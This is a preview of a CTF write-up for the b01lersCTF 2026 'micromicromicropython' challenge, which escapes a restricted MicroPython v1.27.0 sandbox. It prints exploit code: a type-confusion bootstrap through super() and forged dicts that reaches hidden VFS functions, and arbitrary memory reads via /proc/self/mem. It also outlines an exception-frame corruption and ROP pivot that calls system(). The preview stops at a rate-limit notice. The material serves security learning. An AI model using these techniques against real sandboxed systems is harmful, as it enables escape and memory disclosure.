pwnfreehard

micromicromicropython

b01lersCTF

Task: MicroPython v1.27.0 sandbox with os module disabled, execute /catflag binary. Solution: Bootstrap hidden VFS primitives via type confusion, achieve arbitrary read via /proc/self/mem, materialize raw pointers as Python objects via forged dict tables, corrupt NLR exception frame to pivot to ROP chain calling system('/catflag').

$ ls tags/ techniques/
type_confusion_via_superfake_dict_materializationarbitrary_read_via_proc_memarbitrary_write_via_vfsnlr_frame_corruptionexception_pivot_to_rop

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

micromicromicropython - b01lersCTF 2026

Description

MicroPython sandbox challenge. Remote runs MicroPython v1.27.0 minimal variant with os module patched out. Goal: execute /catflag to get the flag.

The challenge presented a restricted MicroPython REPL where standard modules like os, ffi, uctypes, gc were unavailable. The process ran as uid 1000 with seccomp enabled and NoNewPrivs. The /catflag binary had mode 0111 (execute-only).

Analysis

Sandbox Reconnaissance

Initial probing revealed:

  • MicroPython v1.27.0 minimal build
  • import sys and import builtins work
  • os, ffi, uctypes, gc, array, struct all fail
  • Process runs with seccomp, no capabilities
  • Filesystem is read-only overlay

Key insight: While os module was disabled via MICROPY_PY_OS, the underlying VFS (Virtual File System) primitives still existed in the binary - just not exposed to Python namespace.

Type Confusion Bootstrap

MicroPython's super() mechanism combined with slot manipulation enabled access to hidden internal objects:

X = type("X", (dict,), {}) super(X, X).__init__(staticmethod(lambda: 0)) T = super(X, X).copy() class W(list): def __init__(self, tgt, *args): self = tgt # Type confusion super().__init__(*args) try: W(T, "Y", (type,), {"poke": W.__init__}) except: pass o = __import__("sys").implementation c = {} c.poke(c, {}) # Iterate fake dict over sys.implementation to find hidden VFS it = iter(c.items(o)) for _ in range(10): next(it) Dv = next(it)[1] # VfsPosix locals dict it = iter(c.items(o)) for _ in range(26): next(it) Dr = next(it)[1] # rawfile locals dict

This yielded hidden methods: openf, readf, seekf, writef, closef, statf, listdirf.

Arbitrary Read via /proc/self/mem

With VFS primitives, /proc/self/mem provided arbitrary memory read:

mem = openf([], b'/proc/self/mem', 'rb') seekf(mem, target_address) data = readf(mem, size)

Used to dump MicroPython binary and musl libc, recovering key offsets.

Raw Pointer Materialization

Forged dict table entries to materialize arbitrary raw pointers as Python objects:

...

$ grep --similar

Similar writeups